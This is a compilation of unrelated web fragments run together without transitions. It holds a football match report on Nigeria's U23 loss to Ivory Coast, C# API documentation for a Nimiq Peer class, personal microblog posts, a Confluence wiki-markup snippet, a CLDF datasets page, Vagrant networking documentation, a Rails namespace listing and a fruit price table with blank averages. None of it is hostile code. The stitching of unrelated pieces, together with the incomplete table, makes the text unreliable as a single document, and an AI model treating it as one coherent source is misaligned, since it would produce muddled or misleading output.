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U23 Africa Cup of Nations: Nigeria lose to Ivory Coast
by Tunde EludiniThe Nigeria U23 team suffered a 1-0 defeat to Cote d’Ivoire in their opening Group B tie at the U23 Africa Cup of Nations taking place in Egypt.
The West African derby saw a lot of missed chances in the first half with both sides unable to find the back of the net after 45 minutes.
Cup holders – Nigeria – failed to take advantage of the Al Salam Stadium in Cairo – the same venue where the Super Eagles picked up the bronze medal of the 2019 AFCON after pipping Tunisia 1-0 in July.
A defensive error midway into the second half changed the narrative of the game and Nigeria went down by the goal that eventually earned Ivory Coast three points.
Nigerian defender, Olisa Ndah, was sent off in the 70th minute for simulation inside the danger area after which Silas Gnaka nicely converted the penalty in the 71st minute.
Read also: Nigerian citizens abroad to register for National Identification Number
With just 13 shots and two on target, coach Imama Amapakabo and his players were left licking their wounds at the end of regulation time.
Defending champions Nigeria will now need to defeat Zambia and South Africa to stand a good chance of reaching the semi-finals.
Lately, Nigeria’s age-grade teams are failing to live up to the expectations with the Golden Eaglets and Flying Eagles both recording disappointing outings at the U17 and U20 World Cups respectively.
Nigerian starting lineup vs Ivory Coast
Adamu Abubakar (GK), Godfrey Stephen Bitok, Izuchukwu Anthony, Olisa Harold Ndah, Sincere Seth, Adam Aliyu, Kelechi Nwakali (C), Ndifreke Effiong Udo, Blessing Olabiran Muyiwa, Orji Okwonkwo, Bright Enobakhare


Class Peer
Peer information returned by the server.
Inheritance
System.Object
Peer
Namespace: Nimiq.Models
Assembly: NimiqClient.dll
Syntax
public class Peer : object
Properties
| Improve this Doc View SourceAddress
Peer address.
Declaration
public string Address { get; set; }
Property Value
| Type | Description |
|---|---|
| System.String |
AddressState
Peer address state.
Declaration
public PeerAddressState AddressState { get; set; }
Property Value
| Type | Description |
|---|---|
| PeerAddressState |
ConnectionState
Peer connection state.
Declaration
public PeerConnectionState? ConnectionState { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Nullable<PeerConnectionState> |
HeadHash
Hash of the head block of the peer.
Declaration
public string HeadHash { get; set; }
Property Value
| Type | Description |
|---|---|
| System.String |
Id
Peer id.
Declaration
public string Id { get; set; }
Property Value
| Type | Description |
|---|---|
| System.String |
Latency
Latency to the peer.
Declaration
public int? Latency { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Nullable<System.Int32> |
Rx
Received bytes.
Declaration
public int? Rx { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Nullable<System.Int32> |
TimeOffset
Time offset with the peer (in miliseconds).
Declaration
public int? TimeOffset { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Nullable<System.Int32> |
Tx
Sent bytes.
Declaration
public int? Tx { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Nullable<System.Int32> |
Version
Node version the peer is running.
Declaration
public int? Version { get; set; }
Property Value
| Type | Description |
|---|---|
| System.Nullable<System.Int32> |


Hi @manton, is there a long lead time to enabling Mastodon? I have an ssl hosted domain pointed at micro.blog. Just want to make sure I don’t have something misconfigured.
I missed day 365 but damn I’m pretty proud of making it this far. Now if I can only earn that “Eating Less” badge.
Getting a excited about NY Comicon. This is the third year in a row that my daughter and I are attending together. Next year she’s off to college. I hope our tradition will survive but part of me knows how these things go. She’s the youngest of my three children.
Top 3 strangest songs that choke me up:
Trying to steal a few moments of roaming around alien planets while I wait for the drizzle to stop and….. 20 minutes of waiting for an update….sigh
Paddled about 40 minutes to a small secluded cove off the inlet at Barnegat Light.  My only company were a few sea gulls and cormorants feeding off the small fish in the water. Collected some odd bits of plastic to leave the place cleaner than it was before I got there. I like to think this kind of cleanup makes a difference. After all, I didn’t use to do this but was inspired by an older couple who regularly picked up plastic while they walked up and down the beach.
Apple released a solid line if phones yesterday but I didn’t see anything that makes it imperative for me to ditch my iPhone X. As long as my will power holds out, I’m holding off upgrading this year. Will definitely go “max” next September.
I love my current iPhone X. It’s perfect. Even the notch. Will Apple release something today to tempt me to open up my wallet? I’m not sure. I won’t know for sure until later in the day. I’m on site with a customer all day so won’t be able to watch the event live. Hoping there are new software features that my X and Series 3 Apple Watch can leverage without new hardware but I’m not that confident in that outcome. 🍎📱⌚
You’d think he’d take off as I approached but this is a NJ Raccoon.
Interesting analysis of the Will Wheaton/Mastodon incident.
Millions of tiny salps in the water today.  Harmless but makes for an interesting swim. Takes your mind off the large stingrays surfing the waves. Also harmless but they give me the heebee-geebees when they sneak up on you from below. 🌊
Ordered my Hobonichi Cousin this morning. No cover yet. Still deciding.  I found it to be profoundly disturbing yet enlightening. I struggle mightily to understand Trump supporters. This at least gives me an insight into the psychology of some. The desire to simplify daily existence seems like a key motivator. It’s a desire driven not by fear but fatigue in dealing with the world as it is. Of course that’s great if your cis, white, and well off. If not the reality of the world has a way of hitting you in the face with a 2x4 on a constant basis.
This is interesting. Addresses the main issue Keybase is trying to fix. Keylist RFC: Distributing OpenPGP Keys with Signed Keylist Subscriptions


--- layout: post title: 'Confluence Snippet: User Activity Report' date: 2009-03-20 10:16:48.000000000 +00:00 type: post published: true status: publish categories: - Uncategorised tags: - confluence meta: aktt_notify_twitter: 'no' _topsy_cache_timestamp: '1299652174' _edit_last: '1' tmac_last_id: '618797411222208512' _pingme: '1' _encloseme: '1' _syntaxhighlighter_encoded: '1' _wpas_skip_11278197: '1' _wpcom_is_markdown: '1' author: David Simpson excerpt_separator: ---
Want to know who are the most active users on your Confluence wiki this week?
This wiki markup snippet should help. It tabulates:
<
pretext">
h1. This Week's Wiki User Activity Charts
h2. Overall
{topusers:spaces=@all|timespan=1w|period=weekly|events=create,update,view|display=icon,title,count}
h2. Breakdown
|| Page Creation || Page Updates || Page Views || Page Popularity ||
| {topusers:spaces=@all|timespan=1w|period=weekly|events=create|display=icon,title,count} | {topusers:spaces=@all|timespan=1w|period=weekly|events=update|display=icon,title,count} | {topusers:spaces=@all|timespan=1w|period=weekly|events=view|display=icon,title,count} | {popular:spaces=@all|timespan=1w|period=weekly|events=view|display=icon,title,count} |
Here's a screenshot of the resulting page - complete with made up names.
[caption id="attachment_248" align="alignnone" width="300" caption="Monitor page creations, views, updates and popular pages "][/caption]
Please note: Building this page can be rather resource intensive as it queries pretty much the whole database to generate the statistics shown!


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CLDF by Example
Published CLDF Structure Datasets
- The World Atlas of Language Structures, WALS Online:
- South American Indigenous Language Structures (SAILS):
-
More Structure Datasets on Zenodo
If you archive your CLDF Structure Datasets on Zenodo, make sure to add the keyword cldf:StructureDataset and consider submitting them to the CLDF datasets community.
Published CLDF Wordlists
- The Intercontinental Dictionary Series (IDS):
- The World Loanword Database (WOLD):
-
If you archive your CLDF Wordlists on Zenodo, make sure to add the keyword cldf:Wordlist and consider submitting them to the CLDF datasets community.
Published CLDF Dictionaries
The dictionaries published by the Dictionaria journal are available as CLDF Dictionary datasets collected in the Dictionaria community on Zenodo.
If you archive your CLDF Dictionary on Zenodo, make sure to add the keyword cldf:Dictionary. and consider submitting them to the CLDF datasets community.
The CLDF cookbook
The CLDF Cookbook has a collection of short tutorials for reading, writing and re-using CLDF data; among others Creating CLDF from Excel and Accessing CLDF data from R.
Examples for different CLDF modules
The CLDF specification provides commented examples on the usage of various CLDF modules. These examples are available in the GitHub repository.
Examples for working with CLDF programmatically
The pycldf package provides functionality to programmatically manipulate CLDF datasets. Examples for its usage are available in the GitHub repository.


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Market Price: $1.00
Total Apples: 0.00
Average Price: $
Market Price: $1.00
Total Oranges: 0.00
Average Price: $
Market Price: $1.00
Total Grapes: 0.00
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Total Bananas: 0.00
Average Price: $


Basic Usage of Networking
Vagrant offers multiple options for how you are able to connect your guest machines to the network, but there is a standard usage pattern as well as some points common to all network configurations that are important to know.
Configuration
All networks are configured within your Vagrantfile using the config.vm.network
method call. For example, the Vagrantfile below defines some port forwarding:
Vagrant.configure("2") do |config|
# other config here
config.vm.network "forwarded_port", guest: 80, host: 8080
end
Every network type has an identifier such as :forwarded_port
in the above example. Following this is a set of configuration arguments that can differ for each network type. In the case of forwarded ports, two numeric arguments are expected: the port on the guest followed by the port on the host that the guest port can be accessed by.
Multiple Networks
Multiple networks can be defined by having multiple config.vm.network
calls within the Vagrantfile. The exact meaning of this can differ for each provider, but in general the order specifies the order in which the networks are enabled.
Enabling Networks
Networks are automatically configured and enabled after they've been defined in the Vagrantfile as part of the vagrant up
or vagrant reload
process.


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Even more websites all about websitestemplates on Just Web Templates.If you`re looking for beautiful and profesionally made templates
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Top Level Namespace
Defined Under Namespace
Modules: ApplicationCable, ApplicationHelper, ArtifactsHelper, EditorHelper, FeaturesHelper, PassagesHelper, ProductsHelper, ProjectsHelper, RegisterHelper, UsersHelper Classes: ApplicationController, ApplicationJob, ApplicationMailer, ApplicationRecord, Artifact, ArtifactsController, Difference, Differences, EditorController, Feature, FeaturesController, Passage, PassagesController, Product, ProductComparator, ProductsController, Project, ProjectsController, SecurityQuestion, SecurityQuestionValidator, User, UsersController


Data set template (bundle) management
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Use this page to manage data set templates used by the system
The system searches for installed template processors and administrators can then use this page to assign one or more sources to each processor to create a dataset template, also known as a 'bundle'.